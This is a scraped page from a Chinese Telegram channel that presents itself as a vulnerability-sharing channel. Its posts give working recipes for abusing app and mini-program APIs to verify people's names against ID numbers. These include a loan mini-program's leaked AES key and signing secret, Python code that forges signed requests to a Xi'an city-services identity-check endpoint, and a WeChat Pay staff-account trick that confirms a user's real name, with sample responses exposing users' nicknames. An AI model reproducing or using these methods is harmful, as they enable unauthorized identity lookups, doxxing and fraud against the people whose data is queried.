i分享『软件分享/脚本分享/漏洞分享』
33.1K subscribers
202 photos
19 videos
286 files
490 links
本频道为技术分享频道 ,频道中投稿分享的所有漏洞请涉事官方尽快修复!避免不法分子滥用造成危害。

漏洞信息披露、安全预警、技术研究、漏洞分析、风险通报

@pyifenx 防丢失频道。

🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳🇨🇳
Download Telegram
微信小程序 你我贷借钱 贷款2要素和脱敏手机号
密钥1(AES):
fb16d910adccec07
密钥2(SK):
C09F1B5E145C42B9A951B20D2918E09C
AES加密:
AES-128-ECB
PKCS7
Base64输出
加密字段: realName / idCardNo / idenAddress
sign-data签名:
sign = MD5( token + path + ["?"+query] + bodyPart + SK ).upper()
bodyPart:
dict → json紧凑格式(无空格)
str → "str"(两侧双引号)
null → 空串

——@xddsnmb
📮 投稿通道 ☘️ 交流群组
❤1
#小程序://i西安城市生活服务/I西安/wnqPDtOdjeqmu8A
无限制二要素
sign生成逻辑如下
current_timestamp = str(int(time.time() * 1000)) # 13位毫秒时间戳
body = f'[{{"_requestBody":{{"certType":"1","realName":"{name}","certNo":"{idcard}"}}}}]'
request_data = base64.b64encode(body.encode('utf-8')).decode()
full_string = f"99f19ae140a2633e550410f82906987b&Operation-Type=app.ixa.uc.alipay.cloudTwoMetaCheck.h5&Request-Data={request_data}&Ts={current_timestamp}"
signature = hashlib.md5(full_string.encode('utf-8')).hexdigest()
return current_timestamp, signature
此外里面还有其他有趣的东西 可自行发掘

——@sbquangou
📮 投稿通道 ☘️ 交流群组
🤡2
概率V2有限制核验口 需要用户关注微信支付商家助手公众号
https://pay.weixin.qq.com/index.php/extend/staff_account

员工管理 - 新增员工账号 - 输入姓名和微信号即可核验

{
"errorcode": -124,
"msg": "微信用户没有关注公众号",
"data": {
"nickname": "政",
"portrait_url": "http://wx.qlogo.cn/mmhead/16OvUZfwjeQGo45UeN5TviaOJqnN4cYRrYa4hyIibpQ7K2qJiaJvBpPx6ndlhczGwSe9W3WSMCYv4E/64/0"
}
}

{
"errorcode": -126,
"msg": "实名不一致 <div class='tips-info'>员工微信号实名姓名与所填员工姓名不一致,请向员工核实后填入真实姓名</div>",
"data": {
"nickname": "东东咚",
"portrait_url": "http://wx.qlogo.cn/mmhead/pgS37nibshT8r7Oic9LPtx7NfMBowOl4CCfY6k3DTgo68/64/0"
}
}

——@imgodgun
📮 投稿通道 ☘️ 交流群组
❤1
人口信息二要素.py
2.2 KB
这个黑客很懒,没有留下任何说明……

——@nxjd136
📮 投稿通道 ☘️ 交流群组
国庆快乐!
├活动类型: 通用抽奖
├满人开奖: 101人
├参与关键词: i分享与国同庆,祝祖国繁荣昌盛!
├强制关注频道(群组):
i交流
i分享『供需频道』
├奖品列表:
├ 假地址 x 10

[如何参与?]在群组中回复关键词『i分享与国同庆,祝祖国繁荣昌盛!』参与活动。
发送『 /lottery 』或『
抽奖 』 查询当前群组的抽奖
💩5